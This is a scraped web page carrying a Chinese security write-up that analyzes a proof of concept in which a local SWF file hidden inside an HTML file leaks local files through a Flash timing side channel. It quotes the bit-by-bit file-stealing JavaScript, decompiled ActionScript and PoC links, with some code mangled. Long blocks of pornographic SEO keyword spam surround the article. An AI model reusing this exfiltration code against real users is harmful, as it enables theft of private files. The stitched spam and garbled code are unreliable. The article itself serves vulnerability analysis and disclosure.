精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

技術分析:本地SWF文件可將任意本地文件泄露

安全 應用安全
Flash文件在設計的時候就允許本地的swf文件讀取任意的本地文件。Flash Player版本不高于7時,本地SWF文件可與其它SWF文件交互并且可以從任何遠程或本地位置加載數據。

Flash文件在設計的時候就允許本地的swf文件讀取任意的本地文件。Flash Player版本不高于7時,本地SWF文件可與其它SWF文件交互并且可以從任何遠程或本地位置加載數據。

原理

在Flash Player 8 和更高版本中,SWF 文件不能連接本地文件系統和 Internet。 但是通過時間旁路通道(timing side-channel),卻可以實現提取任意本地文件的內容并傳送到網絡上(詳細說明,可參見[1],[2])。

Google瀏覽器會阻止(應該是有提示吧)下載“.swf”后綴的文件,來降低對本地文件系統規則的攻擊,但是卻沒有阻止swf文件以不同的文件后綴嵌入進去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。當多個swf文件運行在同一個瀏覽器,但在不同的frame下,或者不同的tab下時,一次只有一個swf文件可以運行ActionScript腳本。

這也就意味著,本地的swf文件可以通過耗時的操作(如直接循環一個時間段等),使加載的網絡上的swf文件的外部接口調用(ExternalInterface call)出現延遲。這樣根據讀取的本地文件的信息(如讀取一個字節時,bit位為1出現延遲,bit位為0,不設置延遲),決定是否出現相應的延遲,網絡上的swf文件檢測這一延遲,即可獲取到讀取的文件信息。

本地html文件顯然不能直接和網絡上的swf文件進行交互,但是本地的html文件可以通過frame加載網絡上的swf文件。

POC分析

原作者提供的poc分析 ([4],[5]),打開后發現亂碼,winhex一看,果斷嵌入了swf文件(提供的poc代碼中沒有這個swf文件,如圖1),偏移0xd65后的內容為html文件的內容:

技術分析:本地SWF文件可將任意本地文件泄露于互聯網 

技術分析:本地SWF文件可將任意本地文件泄露于互聯網

0xD65后的內容極為html文件的內容。

看了下作者html中的js代碼:

/* check the response time of flash */
         function ping(cb) {
         var l;
         window.addEventListener(,message,, l = function(e) {
         window.removeEventListener(,message,, l);
         //console.log(,got delay ,+e.data.delay)
         cb(e.data.delay);
         });
         document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,);
         }
         
         /* steal one bit */
         function getbit(path, char, mask, cb) {
         path = encodeURIComponent(path);
         document.getElementById(,div,).innerHTML =
         ,<embed type=application/x-shockwave-flash src=? flashvars="path=,+path+,&amp;char=,+char+,&amp;mask=,+mask+,">,;//這個地方應該就是[3]提及的那個bug,src換位本地的地址后,poc沒能成功讀取本地文件內容//作者將本地的swf文件和html文件合并在一起了,path為文件路徑
         setTimeout(function() {
         ping(function(res) {
         setTimeout(function() {
         cb(res > 100);//根據延遲得到bit位的值
         }, 500);
         });
         }, 200);
         }
         
         /* steal one byte */
         function getbyte(path, char, cb) { 
         var byte = 0;
         var mask = 1;
         function getbyte_() {
         //console.log(,getbyte_ mask=,+mask)
         getbit(path, char, mask, function(is_set) {//根據mask的那一bit為1,決定讀取char中的某一bit位
         //console.log(,mask=,+mask+, set=,+is_set);
         if (is_set) byte |= mask;if (mask == 0x80) return cb(String.fromCharCode(byte));
      mask <<= 1;
      getbyte_();
    });
    /* steal an entire file */function run() {
  var path = document.getElementById(,path,).value;
  console.log(,path=,+path)
  var i = 0;
  var text = ,,;
  function run_() {//其實這里應該有個判斷文件長度的,當然應該由swf文件把文件長度信息返回回來
    getbyte(path, i, function(char) {
      console.log(,got char: ,+char)
      text += char;
      i++;
      document.getElementById(,out,).innerText = text;
      run_();
    });
  }
  run_();}

從作者給的html文件中提前swf后反編譯,反編譯后在swf腳本下有class_writer這一項:

技術分析:本地SWF文件可將任意本地文件泄露于互聯網

里面的主要兩個函數的代碼:

public static function completeHandler(arg1:flash.events.Event):void
        {
            var loc1:*=0;
            if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0) 
            {//該bit位為1則循環,因此會出現延遲
                loc1 = flash.utils.getTimer() + 400;
                do 
                {
                }
                while (flash.utils.getTimer() < loc1);
            }
            return;
        }
 
        public static function main():void
        {
            Writer.timer = new haxe.Timer(1);
            Writer.timer.run = function ():void
            {
                var loc1:*;
                var loc2:*=null;
                var loc3:*=undefined as null;
                var loc4:*=undefined as null;
                if (flash.Lib.current.stage != null) 
                {
                    false;
                }
                if (false) 
                {
                    Writer.timer.stop();
                    loc2 = flash.Lib.current.loaderInfo.parameters;
                    Writer.path = loc2.path;//文件路徑
                    Writer.char = Std.parseInt(loc2.char);//獲取哪一字節的數據
                    Writer.mask = Std.parseInt(loc2.mask);//與之按位與,可確定獲取的bit位的值
                    loc3 = new flash.net.URLRequest(Writer.path);
                    Writer.loader = new flash.net.URLLoader();
                    Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler);
                }
                return;
            }
            return;
        }

Frame中嵌入的html文件的js代碼:

<embed id=a src=ping.swf AllowScriptAccess=always><script>
  window.addEventListener(,message,, function(e) {
    var t1 = Date.now();
    document.getElementById(,a,).ping();
    var t2 = Date.now();
    parent.postMessage({delay:t2-t1}, ,*,);//計算網絡上的swf文件相應的延遲
  });</script>

作者poc google瀏覽器下運行效果:

技術分析:本地SWF文件可將任意本地文件泄露于互聯網

 

相關資料

[1]:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000456.html

[2]:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000462.html#164081

[3]: https://code.google.com/p/chromium/issues/detail?id=487475(無奈翻墻了提示我不能查看)

[4]https://var.thejh.net/flash_HigNabIalOt6/download.html(原作者的poc)

[5]:https://var.thejh.net/flash_local_poc.zip(原作者的poc 代碼)

[6]:http://seclists.org/fulldisclosure/2015/May/122

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2024-05-06 06:00:00

C#文件存儲

2017-01-01 09:43:40

2011-11-17 15:18:50

HTML 5

2020-05-20 08:57:14

JavaScript讀取文件開發

2011-04-20 09:20:00

Windows 8

2017-12-01 10:13:42

前端操作上傳

2009-11-27 09:22:32

JavaScript本

2024-03-14 10:51:13

服務器技術.NET Core

2023-11-11 19:43:12

緩存數據庫

2013-07-30 12:30:57

Windows PhoWindows Pho

2010-07-27 13:46:18

Flex swf

2022-04-11 06:56:14

數據庫安全數據泄露

2017-03-20 20:32:56

谷歌開源JPEG算法

2019-06-17 15:00:48

Node.jsPDF前端

2015-04-02 16:26:39

漏洞檢測工具Kadimus

2018-12-19 08:52:55

無文件攻擊信息安全惡意代碼

2010-10-12 09:17:42

本地代碼Native CodeNative Clie

2013-05-27 14:46:06

文件系統分布式文件系統

2009-05-27 15:11:24

2022-04-28 07:59:11

Polkitpkexec漏洞
點贊
收藏

51CTO技術棧公眾號

狠狠色狠狠色综合人人| 久久亚洲精品中文字幕冲田杏梨| 免费看一级大黄情大片| 欧美女优在线观看| 国产在线一区观看| 91精品国产99| 日本少妇aaa| 国内精品国产成人国产三级粉色| 欧美影院一区二区| 人妻无码久久一区二区三区免费| 番号在线播放| 99久久免费精品高清特色大片| 国产精品久久久久秋霞鲁丝| 精品无码久久久久久久久| 精品国产一区二区三区| 日韩精品中文字幕一区二区三区| 玩弄japan白嫩少妇hd| 手机av在线播放| 国产精品欧美久久久久无广告 | 做爰无遮挡三级| 国产精品xvideos88| 亚洲欧洲在线视频| 99热超碰在线| 精品国产亚洲一区二区三区在线| 欧美综合视频在线观看| 天天夜碰日日摸日日澡性色av| 天堂地址在线www| 国产亚洲欧美日韩俺去了| 国产经典一区二区三区| 一炮成瘾1v1高h| 视频一区国产视频| 97精品视频在线| 国产一级av毛片| 欧美一区二区三区久久精品茉莉花| 亚洲欧美成人在线| 色噜噜在线观看| 国产精品chinese在线观看| 欧美一级片在线看| 色天使在线观看| 99欧美精品| 在线天堂资源| 久久久亚洲一区| 69视频在线播放| 国产对白videos麻豆高潮| 91精品久久久久久久蜜月| 视频一区视频二区国产精品 | 日韩精品一区二区三区不卡| 日韩av一卡| 婷婷夜色潮精品综合在线| 18黄暴禁片在线观看| 国产盗摄精品一区二区酒店| 一区二区三区91| 国产资源第一页| 91三级在线| 亚洲综合一二三区| 精品人妻大屁股白浆无码| 午夜影院免费在线| 一区二区三区日韩欧美| 日本男女交配视频| www555久久| 精品久久久久久久久中文字幕 | 国产成人啪午夜精品网站男同| 91影院在线免费观看视频| www.黄色av| 不卡高清视频专区| 久久久久久99| 高清av在线| 国产精品国产馆在线真实露脸| 在线观看免费91| 欧美xxxx少妇| 精品久久久久久中文字幕一区奶水 | 欧美午夜不卡影院在线观看完整版免费| 久久国产精品久久久久| 永久久久久久久| 在线播放一区| 日韩av片电影专区| 一本色道久久综合精品婷婷| 国产精品99久久久久久久女警 | 午夜不卡久久精品无码免费| 欧美亚洲色图校园春色| 中文在线不卡视频| 91在线播放观看| 亚洲日本视频| 国产精品福利观看| 国产一区二区三区视频免费观看| 国产成人自拍高清视频在线免费播放| 国产一区再线| 成人p站proumb入口| 亚洲男人电影天堂| 黄色影院一级片| 精品美女一区| 亚洲激情中文字幕| 人妻互换一区二区激情偷拍| 欧美日韩国产综合网| 欧美最猛性xxxx| 国产喷水福利在线视频| 91看片淫黄大片一级在线观看| 亚洲国产精品123| 波多野结衣在线播放| 欧美视频在线不卡| 午夜免费福利影院| 欧美电影免费观看高清| 欧洲精品毛片网站| www.日韩在线观看| 国产精品视频一二三| 色欲色香天天天综合网www| 69堂免费精品视频在线播放| 欧美白人最猛性xxxxx69交| 国产精品久久久视频| 悠悠资源网久久精品| 91人成网站www| 国产私人尤物无码不卡| 亚洲一区在线观看网站| 在线观看免费视频高清游戏推荐 | 视频一区二区三区免费观看| 欧美高清另类hdvideosexjaⅴ| 欧美日韩一级视频| 少妇真人直播免费视频| 激情综合自拍| 亚洲自拍高清视频网站| 品久久久久久久久久96高清| 中文字幕一区二区三区四区视频 | 国产日韩一区二区| 黄色小网站在线观看| 一本大道久久a久久精二百| 久久久精品人妻一区二区三区| 成人综合久久| 国产成人精品最新| 亚洲欧美日本在线观看| 一区二区三区四区乱视频| 蜜臀一区二区三区精品免费视频| 亚洲免费成人av在线| 午夜美女久久久久爽久久| 精品人妻无码一区二区三区蜜桃一| 国产精品欧美经典| 亚洲36d大奶网| 精品不卡一区| 国产精品ⅴa在线观看h| 欧美69xxxxx| 欧美日韩一二三四五区| 国产又粗又长又爽| 99精品国产在热久久| 99在线首页视频| 手机在线免费av| 精品久久人人做人人爰| 免费毛片在线播放免费| 国产成人综合网| 成年在线观看视频| 136福利精品导航| 欧美激情视频一区二区三区不卡| 精品国产无码一区二区| 一区二区三区在线不卡| 四川一级毛毛片| 欧美日韩三级电影在线| 国产精品国色综合久久| 黄色污污视频在线观看| 亚洲国产精品久久久| 永久免费看片在线播放| www.色精品| 黄色高清无遮挡| 成人区精品一区二区婷婷| 国产精品一区二区在线| 黄视频网站在线| 日韩欧美国产系列| 国产第100页| 26uuu亚洲| 日日摸天天爽天天爽视频| 欧美日韩精品在线一区| 国产精品亚洲综合天堂夜夜| 老司机99精品99| 日韩女优av电影在线观看| 精品一区免费观看| 久久久综合网站| www.久久av.com| 狠狠入ady亚洲精品经典电影| 精品乱子伦一区二区三区| 欧美美女一级片| a一区二区三区亚洲| 欧美放荡办公室videos4k| 色婷婷中文字幕| 在线免费观看视频一区| h色网站在线观看| 99精品欧美一区| 国产野外作爱视频播放| 欧美激情 亚洲a∨综合| 欧美激情一区二区三区在线视频| 麻豆久久久久| 国外成人性视频| 最新国产在线观看| 亚洲国产99精品国自产| 中文字幕av在线免费观看| 一区二区在线免费| 538精品视频| 高清视频一区二区| 91网址在线播放| 国色天香一区二区| 日本一区视频在线播放| 91精品国产乱码久久久竹菊| 日本乱人伦a精品| 婷婷色在线播放| 在线日韩第一页| 欧美一区二区三区成人片在线| 欧美日韩在线不卡| 麻豆一区二区三区精品视频| 国产精品色在线| 女尊高h男高潮呻吟| 国产精品一区2区| 看欧美ab黄色大片视频免费| 欧美色123| 一区二区在线观| 久久不见久久见国语| 国产精品果冻传媒潘| 国产乱码精品一区二区三区亚洲人| 欧美一级大片在线观看| 乱插在线www| 久久精品视频播放| 春暖花开成人亚洲区| 亚洲国产欧美一区二区三区同亚洲| 国产女人爽到高潮a毛片| 在线国产亚洲欧美| 亚洲 欧美 日韩 综合| 亚洲制服丝袜av| 性色av无码久久一区二区三区| 中文字幕乱码日本亚洲一区二区| 极品粉嫩小仙女高潮喷水久久| 福利一区福利二区| 极品人妻一区二区| 精品影视av免费| 精品999在线| 久久婷婷亚洲| 欧美 国产 小说 另类| 在线欧美福利| 国产a级片网站| 黑人一区二区| 六月婷婷激情综合| 中文字幕一区二区三区欧美日韩| 在线观看欧美激情| 五月精品视频| 国产一区一区三区| 亚洲欧美综合久久久| 麻豆中文字幕在线观看| 欧美大人香蕉在线| 午夜探花在线观看| 欧美成人精品| 国产精品av免费观看| 欧美特黄a级高清免费大片a级| 久久最新免费视频| 欧美激情综合| 日韩黄色片在线| 亚洲大胆av| 久久国产亚洲精品无码| 亚洲一区中文| 欧美 日韩精品| 日韩电影在线免费观看| 中文字幕一区二区三区四区在线视频 | 日韩电影视频免费| 日韩欧美电影在线观看| 亚洲性夜色噜噜噜7777| 国产福利在线视频| 久久人人爽人人爽爽久久| 性欧美1819sex性高清大胸| 欧美丰满片xxx777| 在线观看特色大片免费视频| 国产精品对白刺激| 日韩精品一区二区三区中文| 国产乱人伦精品一区二区| 欧美人与牛zoz0性行为| 亚洲午夜精品久久久中文影院av| 一二三区不卡| 国产91在线免费| 蜜乳av一区二区| 色欲欲www成人网站| hitomi一区二区三区精品| 国产精品探花一区二区在线观看| 欧美高清在线精品一区| 精品99在线观看| 91国偷自产一区二区三区观看| 一区二区三区免费在线视频| 精品国产99国产精品| 美女做暖暖视频免费在线观看全部网址91 | 成人免费无码大片a毛片| 久久久久久久国产精品影院| 亚洲AV成人无码精电影在线| 亚州成人在线电影| 在线免费看av片| 亚洲国产高清高潮精品美女| 91xxx在线观看| 91精品国产电影| 九七影院97影院理论片久久| 国产99在线免费| 欧美伦理影院| 日韩一级片免费视频| 日本欧美在线看| 天天躁日日躁狠狠躁av| 欧美激情在线免费观看| 国产大片aaa| 欧美肥胖老妇做爰| 国产区在线视频| 久久久免费观看视频| 欧美男女视频| 久久伦理网站| 欧美精品大片| 污污网站免费观看| 97久久超碰国产精品电影| 人妻人人澡人人添人人爽| 色综合久久久久网| 黄色av小说在线观看| 精品久久国产精品| 91看片一区| 免费h精品视频在线播放| 欧美日韩1区| 午夜激情福利在线| 久久美女艺术照精彩视频福利播放 | av中文字幕一区二区三区| 4438全国成人免费| jizz性欧美2| 精品国产一区二区三区在线| 青青草97国产精品免费观看无弹窗版| 无码人妻aⅴ一区二区三区| 一区二区三区蜜桃网| 国产乱淫a∨片免费视频| 一区二区三区 在线观看视| 午夜久久中文| 国内精品二区| 尹人成人综合网| 中文字幕制服丝袜| 亚洲精品伦理在线| 国产欧美一区二区三区视频在线观看| 中文字幕亚洲第一| 成人做爰免费视频免费看| 欧美在线激情| 久久精品九九| 亚洲av成人无码久久精品| 色综合久久88色综合天天免费| 偷拍自拍在线视频| 91大神福利视频在线| 欧美三级午夜理伦三级在线观看| 免费超爽大片黄| av午夜精品一区二区三区| 日韩av黄色片| 亚洲成人久久久| 九九精品调教| 国模精品一区二区三区| 一二三区精品| 在线不卡av电影| 欧美主播一区二区三区| 风间由美一区| 成人av在线天堂| 在线观看免费一区二区| 成人一区二区三区仙踪林| 亚洲综合在线免费观看| 天天干免费视频| 国产成人高清激情视频在线观看| 国产精品一区二区三区av麻| 超碰在线人人爱| 成人免费在线播放视频| 99视频免费看| 高清欧美性猛交xxxx| 亚洲精华一区二区三区| 亚洲一区二区蜜桃| 亚洲欧美自拍偷拍色图| 亚洲av无码一区二区乱子伦| 午夜精品福利电影| 欧美男gay| 911av视频| 亚洲国产一区在线观看| 色视频在线看| 国产欧美日韩综合精品| 欧美日本一区二区视频在线观看| 污网站免费观看| 91高清在线观看| 老司机在线视频二区| 极品尤物一区二区三区| 日韩高清不卡一区二区三区| 欧美日韩黄色网| 亚洲精品99999| 97精品国产综合久久久动漫日韩| 激情图片qvod| 2023国产精品视频| 国产一区二区女内射| 午夜精品福利在线观看| 国产一区二区欧美| 麻豆av免费看| 欧美三级乱人伦电影| 青春草在线视频| 日韩国产高清一区| 国产一区二区三区四区五区美女| 日本在线小视频| 久久精品91久久久久久再现| 秋霞影视一区二区三区| 色呦色呦色精品| 黑人精品xxx一区一二区| 国产激情视频在线观看| 久久久久网址| 国产成人在线色| 国产一级精品毛片| 国内精品久久影院| 亚洲综合中文| 美国美女黄色片| 精品视频久久久久久久|